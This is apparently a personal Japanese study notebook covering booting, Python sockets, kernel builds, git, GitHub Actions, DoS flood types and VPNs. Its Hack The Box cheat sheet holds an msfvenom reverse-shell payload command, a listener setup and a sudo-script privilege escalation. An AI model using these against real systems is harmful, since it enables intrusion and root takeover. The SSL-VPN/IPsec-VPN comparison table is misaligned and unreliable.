ブートストラップ:電源投入によって開始されるOS起動までの一連の動作

電源ON → システムBIOS → ブートローダー → OSの起動 の手順で起動する。

  1. システムBIOS:パソコン本体が備えている機能で、ブートローダーを検出して起動する
  2. ブートローダー:OS を検出・起動する
  3. OS: GUI が表示される

ソケット通信

サーバーとクライアント間でネットワークを介してデータの送信・受信を行う仕組みのことである。

IPアドレスとポート番号を指定して、データのやり取りを行う。

  1. socket(): socket.socket(address family, socket type)

    ソケットを生成する。デフォルト設定でいい場合は、引数は不要。

    <引数>

    • address family: アドレスファミリー(デフォルト AF_INET)
    • socket type: ソケットタイプ(デフォルト SOCK_STREAM

    <返り値>

    • ソケットオブジェクト
  2. bind(): socket.bind(address)

    socket()を実行してもソケットが作られただけであり、IPアドレスとポート番号は未確定。

    そこで、bind()により、IPアドレスとポート番号をソケットに割り当てる。

    <引数>

    • IPアドレスとポート番号のタプル
  3. listen(): socket.listen([backlog])

    ソケットを接続待ちの状態にする。

    <引数>

    • 同時接続可能なクライアント数
  4. accept(): socket.accept()

    クライアントからの接続要求に対して、通信の確立を行う。

    <返り値>

    • ソケットオブジェクトと相手のIPアドレス
  5. recv(): socket.recv(bufsize)

    ソケットから送られたデータを受け取る。

    bufsizeは一度で受け取れる最大データ量を指定する。

    bufsizeには4096や2048のような、2の累乗を指定することが勧められている。

    <返り値>

    • 受け取ったデータのバイトオブジェクト
  6. close(): socket.close()

    ソケットを閉じる。

カーネルビルド

ソースコードの取得 git clone --depth=1 https://github.com/torvalds/linux.git

カーネルコンフィグの準備 make oldconfig

カーネルモジュールのインストール sudo make modules_install

カーネルのビルド make -j8

カーネルのインストール sudo make install

Git

gitコマンド

リポジトリの作成

git init # ローカルリポジトリの初期化
git remote add origin {GithubのURL} # リモートリポジトリとの紐付け
git push -u origin main

ブランチの作成と切り替え

git branch # ブランチの一覧を表示
git branch {ブランチ名} # ブランチの作成(現在のブランチから派生)
git branch {新ブランチ名} {派生元ブランチ名} # ブランチの作成(指定したブランチから派生)

git switch {ブランチ名} # ブランチの切り替え
git switch -c {ブランチ名} # ブランチを作成し、切り替え
git switch -c {新ブランチ名} {派生元ブランチ名} # 指定したブランチから派生して、ブランチを作成し、切り替え

ブランチの差分を取る

git diff {ブランチ名A} {ブランチ名B} # ローカルブランチの比較
git diff origin/{ブランチ名A} {ブランチ名B} # リモートブランチとの比較
git diff origin/{ブランチ名A} {ブランチ名B} --shortstat # 更新行数を表示

リモートURLの変更

git remote -v # 現在のリモートURLを確認
git remote set-url origin {新 URL} # リモートURLの変更

patchの作成と適用

git diff > {patchファイル名} # patchの作成
git diff HEAD^~1 > {patchファイル名} # コミットの範囲を指定して差分をとり、patchを作成
patch -p1 < {patchファイル名} # patchの適用

コミットメッセージ

私は、コミットメッセージを以下のように書く。 これは、何を行ったのかがわかりやすければ何でもいい。

フォーマット: <Type(必須)>: <Emoji> #<Issue Number(必須)> <Title(必須)>

例)feat: :sparkles: #123 ログイン機能の実装をする

feat: ✨ #123 ログイン機能の実装をする

Type 一覧

  • chore: タスクファイルなどプロダクションに影響のない修正
  • docs: ドキュメントの更新
  • feat: ユーザー向けの機能の追加や変更
  • fix: ユーザー向けの不具合の修正
  • refactor: リファクタリングを目的とした修正
  • style: フォーマットなどのスタイルに関する修正
  • test: テストコードの追加や修正
  • config: 構成変更

Githubの設定

Features

  • Discussion 有効

GitHub上で課題などについて、メンバと議論するための機能

GitHub Discussionsでは、仕様や処理方式などの議論、方針決めを行い、GitHub Issuesでは、方針決定後の作業の管理・分類を行うために使う。

Pull Request

  • Allow rebase merging 無効

merge commitではなくrebaseされる

  • Always suggest updating pull request branches 有効

Pull Request作成後に、ベースブランチが更新された場合、ソースブランチの更新を提案してくれる

  • Automatically delete head branches 有効

Pull Requestをマージすると、ソースブランチを自動的に削除

Pushes

  • Limit how many branches and tags can be updated in a single push 有効

複数のブランチが一度のpushでまとめて更新される場合、ブロックする機能

Code Review Limits

  • Limit to users explicitly granted read or higher access 有効

Pull Requestの「承認」「変更要求」を明示的に許可したユーザだけが行えるようにする

Github Actions

.github/workflows/{YAMLファイル} に、GitHub Actions で実行するワークフローを定義する。

name: CI

on:
  push:
    branches:
      - main

jobs:
  setup:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3
        
      - name: Setup
        uses: actions/setup-go@v2
        with:
          go-version: ^1.18

  test:
    needs: setup
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3

      - name: Test
        run: cd week2/app && go test

  docker-build-push:
    needs: test
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3

      - name: Set up QEMU
        uses: docker/setup-qemu-action@v1
        
      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v1

      - name: Login to DockerHub
        uses: docker/login-action@v1
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Build and push
        uses: docker/build-push-action@v2
        with:
          context: week2/app/
          push: true
          tags: ${{ secrets.DOCKERHUB_USERNAME }}/security-minicamp-22-sample-app:${{ github.sha }}

DoS攻撃

SYN Flood

過剰な数のSYNパケットによって行われる。

サーバーが 3 Way ハンドシェイク の最終段階を待つことを利用したもので、その結果、OSの最大同時 TCP 接続数を使い果たしてしまい、TCP のサービスにアクセスできなくなる。

SYN Cookieを利用することで、OSレベルで防ぐことができる。

FIN Flood

過剰な数の FIN パケット によって行われる。

SYN Flood と攻撃メカニズムは、同じである。

ACK Flood

TCPプロトコルのステートフルな性質を利用する。

過剰な数の ACK パケットによって行われる。

サーバーがOSの ステートテーブル を検索して既存のTCP接続を探し、合致するものがなければ、パケットを廃棄しなければならない。

UDP Flood

ランダム・ポート・フラッド攻撃

サーバのランダムなポートに対して 、UDPデータグラム を含むパケットを大量に送信する。

サーバはそのポートで待機しているアプリケーションを繰り返し確認し、アプリケーションが見つからない場合に、ICMPの「Destination Unreachable」パケットで応答する。

このプロセスを大量に処理することにより サーバリソース を消費する。

フラグメント攻撃

突然大きなサイズのUDPパケットを大量に送信する。

送信先は大量の処理をするためにリソースを消費する。

HTTP GET/POST Flood 攻撃

事前に多数の端末やサーバに不正にインストールした Bot を使い、ターゲットの Webサーバ に大量の HTTP GET リクエストを実行する。

攻撃を受けたWebサーバは大量のHTTP GETコマンドを処理しきれなくなる。

Slow HTTP DoS 攻撃

比較的少ないパケット数で長時間に渡りTCPセッションが継続するようにWebサーバのTCPセッションを占有することで、正規のサイト閲覧者がアクセスできないように妨害する。

パケット数が少ないために、FW や UTM での検知・緩和が難しい。

具体的には、HTTPヘッダーを複数個に分割して、少しずつ送るなどといったものが挙げられる。

HTB CheatSheet

Enumeration

Nmap

ポートの特定を行う。

nmap -sC -sV -oN nmap/initial $IP

Gobuster

Webサーバが公開しているファイルやディレクトリの特定を行う。

gobuster dir -u http://${IP} -w /usr/share/wordlists/dirb/common.txt 

gobuster dir -u http://${IP} -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -k

Nikto

Foothold

Create Payload

ペイロードを作成する。

msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.0.0.1 LPORT=4444 -f elf -o shell.elf

Reverse Shell

作成したペイロードを実行し、リバースシェルを確立する。

nc -lvnp 4444

msfconsole
use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
run (exploit)

Privilege Escalation

Linux

sudo権限の確認を行う。

sudo -l

上のコマンドで、(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh という結果が得られた場合、monitor.shを編集することで、root権限でコマンドを実行できる。

echo "/bin/bash -i" >> /home/nibbler/personal/stuff/monitor.sh
sudo ./monitor.sh

Segment Routing

VPN

VPNとは、Virtual Private Networkの略であり、その名の通り、仮想的なプライベートネットワークを構築する技術である。

インターネットVPN と IP-VPN

そもそもVPNという技術が出る前は、専用線を引いていた。

その後、一般的なインターネット回線を用いて、仮想的なプライベートネットワークを構築する インターネットVPN と 通信事業者が独自に持っているネットワークを用いて、仮想的なプライベートネットワークを構築する IP-VPN が登場した。

両者の特徴として、インターネットVPNでは、コストが安く、IP-VPNでは、安定性・安全性が高いという点が挙げられる。

SSL-VPN と IPsec-VPN

インターネットVPNでも、さらに2つの種類に分けられる。

SSL-VPN は、Webブラウザを用いて、VPN接続を行う。そのため、クライアント側に専用ソフトをインストールする必要がないのが利点となる。

IPsec-VPN は、専用ソフトを用いて、VPN接続を行う。Web以外の用途でも利用できるのに加え、送信者と受信者が同一の専用ソフトを使用するため、高速な通信が可能という利点がある。

SSL-VPNIPsec-VPN
メリット新たにソフトが不要セキュリティリスクが低くなる
デメリット高速な通信が可能VPN専用ソフトが必要
暗号化や認証などの環境設定が必要

参考になるサイトや書籍

サイト

書籍

Podcast